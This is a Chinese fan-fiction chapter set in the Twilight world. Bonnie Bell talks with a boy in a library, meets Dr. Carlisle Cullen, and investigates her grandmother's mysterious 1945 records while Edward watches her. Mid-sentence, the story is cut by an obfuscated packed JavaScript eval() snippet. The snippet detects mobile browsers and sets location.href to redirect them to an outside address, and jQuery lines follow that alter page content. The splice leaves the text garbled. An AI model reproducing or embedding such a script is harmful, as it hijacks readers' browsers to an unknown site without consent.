她的指尖在书页上一顿，似乎不小心划过了纸的边缘，却没有留下任何痕迹。
她没再看他，灯光在她睫毛下投出一道淡淡的影子，那双眼睛看上去还在阅读，可他知道，她其实是在思考。
沉默变成了一种默契。图书馆的钟“咔哒”一声转向新的整点，两人都没有起身。
“你总是这样吗？”她忽然出声，语气依旧淡，“坐在别人对面，不说话，然后等人忍不住主动开口？”
“不是别人。”他说。
她抬眼，盯了他一会儿，然后翻了一页书：“你是说你选择性社交沉默？”
“我只是……选择听你说话。”他低声答。
她没笑，但眼尾微挑，那一刻像是水面上悄然滑过的一圈波纹，不易察觉，却真实存在。
“你这个人啊。”她合上书，声音轻得像一颗纽扣落在地板，“很麻烦。”
“你说过这句话不止一次了。”
“你确实很配得上被重复评价。”她站起身，把书夹进包里。
“那我算不算……被你注意的麻烦？”
她停了半秒，眼神没有转过来。
“比迈克尔·牛顿高一级。”她说，然后在他开口前补了一句，“只高一级。”
他低低笑出声，像是这一整天阴云密布的唯一缝隙。
图书馆的灯光在她离开时从她头发上滑下来，像是每根发丝都带着夜色的影子。他没有追，只是站起身，在她身影消失后，依旧望着那个方向站了一会儿。
那种欲言又止、却又不舍得打破她安静世界的情绪，在他身上堆叠得越来越重。
那天傍晚，风吹得急。
塞西莉亚回家后，整个人还沾着医院的消毒水味道，外套上有几道因为小孩呕吐沾上的浅污渍。她坐到餐桌边，脱下鞋子，整个人摊在椅背上。
“今天又是值急诊？”约翰在厨房边炒菜边问，锅铲搅动油花时发出“呲啦”的一声。
“不是。”塞西莉亚一边解围裙一边回话，“是今天人多，来了一批镇外的患者，又赶上卡莱尔医生亲自接诊，全医院都在配合他的手术。”
“啧，他来一趟，你们忙三天。”
“他说话很温和，但一指东西你就下意识去拿。”她伸手抓了几颗葡萄往嘴里塞，“关键是他又帅。”
“……你知道你是在你丈夫面前夸另一个男人吗？”
“你今天头发剪歪了，耳后两侧不对称。”她淡定道，“我这是为了激励你职业上的进步。”
“你就这么怀疑我对客户的忠诚度？”约翰一边把炒好的菜端上桌，一边哼了一声，“我明天就不让你进我的理发店。”
“你以为你那破店我乐意去？我每次进去都要帮你擦椅子。”
“那椅子是为了训练客户忍耐力！”
邦妮从楼梯上走下来，正好听见这段夫妻斗嘴，她没插话，只在餐桌前坐下，舀了一勺米饭到盘子里。
“你妈又在夸卡伦医生了。”约翰转头对她说。
“我听见了。”
“你还没见过他吧？”塞西莉亚说着，忽然像想起什么，“其实你应该去认识一下他，他是个很……奇特的人。”
“奇特？”邦妮抬眉。
“不是坏的那种。”她母亲咀嚼着葡萄，“是那种……你看到他就会觉得‘哦，这种人怎么会存在？’的那种。”
“听起来像精致版本的迈克尔·牛顿。”
“你不许拿小狗开玩笑。”塞西莉亚笑了，“医生是医生，别混为一谈。”
“那你得祈祷他不是我爸的下一个剃头对象。”邦妮说。
“我只剪贵族，卡伦医生要想坐我的椅子，得预约半年。”约翰边喝汤边哼哼。
“你这是理头发，还是办签证？”邦妮小声吐槽。
隔天是周六，邦妮被母亲“顺便”带去了医院。
“只是例行体检。”塞西莉亚一边在前台登记，一边回头看着女儿，“你脸色最近有点差。”
“是因为学校的灯光很致郁。”
“我听说你最近被孤立。”母亲忽然低声说，“是真的？”
邦妮没回答，只是抬头看着前台角落的消毒液瓶。
“你不是不能被喜欢。”塞西莉亚说，“你只是讨厌被误解。”
邦妮不动声色地把那句话记了下来，却没回应。
等待叫号时，她坐在候诊区，一手撑着下巴，眼神漫无目的地扫着走廊。
医院的光线一向过于明亮，每一寸白墙都像清洗得不带一丝污迹。她并不讨厌这里，她讨厌的是来这里的理由。
“贝尔小姐？”
一个清晰又温和的男声在前方响起。
她抬头。
身穿白袍的卡莱尔·卡伦医生站在门口，手中拿着她的体检单，眼神干净而沉稳，仿佛是把温柔拉长了一整个成人高度的模样。
“我是这里的主治医生，你母亲的同事，我会负责今天的检查。”他看着她，语气从容，“你就是邦妮吧。”
“我是。”她站起来，声音不高不低。
塞西莉亚在一旁点点头：“麻烦你了，卡莱尔。”
“当然不麻烦。”他微笑，眼神落回邦妮，“这位年轻女士看起来比大多数病人都要自律。”
邦妮轻轻扬眉：“我只是比大多数人更怕医生。”
“那我得努力变得不那么可怕。”
他说这句话时，眼里有一种奇怪的光。不是打量，不是探究，而是……像看见了某种既熟悉又遥远的影子。
“请跟我来。”他回身带路。
检查过程一切正常。他没问多余的问题，也没提起学校的事，只是在她坐在检查床上时，忽然问了一句：“你有没有做过非常清晰的梦？”
她顿住，缓缓抬头：“怎么？”
“只是……职业习惯。”他微笑，那笑温柔得像是棉花糖熔化的前一秒，“有些人，会梦见不属于这个时代的东西。”
“你见过很多人有这种梦？”她反问。
“不是很多。”他看着她，“但有些梦，不是为了让你记住，而是为了提醒你……你曾经知道。”
她盯着他那一秒，呼吸竟有一丝窒滞。
那一刻，她知道了。
她不会是唯一一个“与世界失调”的人。
哪怕她从没说出口，哪怕她还不明白那是什么意思，但卡莱尔·卡伦那双眼睛里的温柔，并不是针对一个孩子。
而是——某种难以言喻的，认识感。
他没有再多说，只是起身送她出门。
塞西莉亚正等在门外，看见她女儿出来，马上迎上去：“怎么样？卡伦医生是不是比照片还好看？”
“他……挺干净的。”邦妮说。
“干净？”母亲笑了，“你这评价词选得真好。”
夜晚的空气有一种透明的厚度，像擦拭过多次的玻璃，反射着月亮断裂的轮廓。
窗外的老橡树晃动着影子，枝干在风中交错成沉默的十字架，一如既往地，一道身影伏在那里，不动，也不被任何人看见。
爱德华靠坐在树枝上，一只手搭在膝盖，一只手搭着树干，眼神像穿透夜色的光线，静静投进了那扇半掩的窗户。
窗帘拉得还剩下一角。他知道她总是这样，不喜欢完全关闭世界的缝隙。
房间里灯光暖黄，邦妮蜷坐在床上，膝盖顶着笔记本电脑，屏幕的光映在她脸上，将她的表情切成光与影的并列。她的眉紧蹙，嘴角微抿，不像在看电影，也不像在回邮件。
她在查东西。
“真实梦境，死亡后才醒来？”
“反复做同一个梦，显得比现实真实？”
“梦境会痛吗？”
她试了十几个关键词，翻了几十页网页，点击过一些看起来像是纪录片截图的网站，也打开了好几个深色背景、排版混乱的超自然论坛。
结果如预料。
一无所获。
要么是小说推广，要么是“梦里死了会不会真的死”的玄学讨论，剩下的是些业余心理学博主用柔光滤镜拍下的视频，标题耸动但毫无实际价值。
她蹙着眉，敲着键盘，指节一下一下点在塑料上，像雨滴打在铁皮屋顶。
她不是第一次查这些。
也不是第一次一无所获。
可她这次依然坐在原地，眼神却比以前更深了一点。卡莱尔医生那句话一直在脑海里打转——“有些梦，不是为了让你记住，而是为了提醒你，你曾经知道。”
“我应该知道什么？”她低声问着，像是对自己说。
她突然想起那天清晨，自己下意识问出的问题——关于梦。
母亲说她没有做过。
但她说外婆曾抱着刚出生的她说了一句意味不明的话——“别怕你梦见死亡，怕的是你不知道自己在哪一边醒来。”
邦妮的指尖顿了一下。
她想了想，打开了电脑里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405300|168748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的旧文件夹。
那是从她小学到中学陆续保留的家族资料扫描件和学校项目素材，她曾经因为无聊整理过一次，但从未真正关心过家族历史，外婆的那部分几乎空白。
她点开“外婆”那个文件夹，里面只有三张照片，一封已经褪色的结婚请帖扫描图，还有一张旧护照的翻拍图。
那护照发证日期是1945年，照片上的女人穿着一套剪裁奇怪但看起来极合身的风衣，发型是标准的三十年代复古波浪，但那布料，那版型，却不像是当年市面能买到的样式。
太现代，太不合时宜。
她点大那张照片，拉近、放大、反复看。外婆的眼神直视镜头，不像那个时代的人。没有羞涩，没有保守，没有那种“坐在照相馆等曝光结束”的木讷神态。
而是清醒、沉静、甚至有点锋利。
她穿得像是时尚杂志里的人。
问题是，那是1945年。
她又点开结婚请帖，发现那个年份同样写的是1945年秋，地点在华盛顿西部一处退伍军人礼堂。
她的外公——泰勒·摩根·贝尔，在那个时间点刚刚退伍，刚从太平洋战场回来，他当年二十岁。
照片里他高大、干净，笑得有点腼腆，跟外婆站在一起，两人年纪相仿，但气质却截然不同。
她看着那张合影，忽然发现一个问题。
外婆……在照片之外没有任何记录。
结婚前无出生证明、无住址、无家族信息、无迁徙记录、无亲属往来信件。
空白得像是从天上掉下来的人，像是……梦中在180航班上的她一样。
“你到底是谁？”她轻声说。
窗外的风吹进房间，帘角飘动，吹起桌上的便签纸一角。
爱德华坐在树枝上，眉头慢慢皱起。
他听不见她的想法，听不见她的梦，但他看得见她的眼神正在变化。
那种变化不是普通的“成长”或者“好奇”，而是一种……觉醒前的安静。
她开始要“知道”。
他蹲下来，从树枝上缓缓移动身体，把头凑近窗沿。他听见她翻动纸页的声音，听见她翻书柜时椅子刮地的声音，也听见她在翻找某样东西时抽屉被拉开又关上的急促。
她找到了一本旧笔记本。
封面已经发黄，纸张边缘卷起。里面是塞西莉亚小时候写的文字，用粗圆珠笔写的随笔，还有一些被圈起来的问题。
她翻了翻，直到一页上写着：
“妈妈又问我有没有做过死掉才能醒来的梦。”
“她说我一旦做了这种梦，她就会告诉我一个秘密。”
邦妮盯着那行字，心跳忽然慢了下来。
那一瞬间，她忽然明白了。
她外婆，不只是“死”了。
而且是，“她的秘密永远没能说出来”。
邦妮合上笔记本，整个人靠在椅背上，闭了闭眼。
她的头发披散着，一小缕搭在嘴角。灯光打在她脸上时，显得那张本就安静的脸多了一层无法解释的距离感。
她像正在走进某种真相的边界，意识到那边可能不是“谜底”，而是“代价”。
她坐在灯下，双手交握，指尖轻轻摩擦着笔记本边缘，目光却越过了电脑，落在窗外的夜。
那一秒，她抬起头，往橡树方向看了一眼。
树影晃动。
她什么也没说。
只是盯了几秒，然后收回视线，重新打开电脑，继续搜索那个关键词——
“来自梦境的记忆。”
她不知道，窗外那个人——那双琥珀色的眼睛，此刻正毫无掩饰地看着她。
那夜，她仍旧做了一个平常的梦。
没有坍塌的桥面，没有爆炸的飞机，没有连环车祸，也没有那块从天而降的玻璃板。
只有她站在旧照片里，外婆的风衣披在她身上，镜子里却不是她的脸，也不是她外婆的脸。
那张脸，顶着一头随意地披散着，看起来既讲究又不拘一格的金色波浪中短发，五官精致却不温柔：高挺的鼻梁，削薄的嘴唇，以及一双会审判世界的眼睛——那种锐利的、世故的、看透一切的眼神里藏着她不肯服老的倔强和无法掩盖的疲惫。
她在梦里抬头，镜子里的“她”也动了一下嘴唇。
“你不该知道。”
梦醒时，邦妮满身冷汗。
外面已经是天亮前的寂静时分。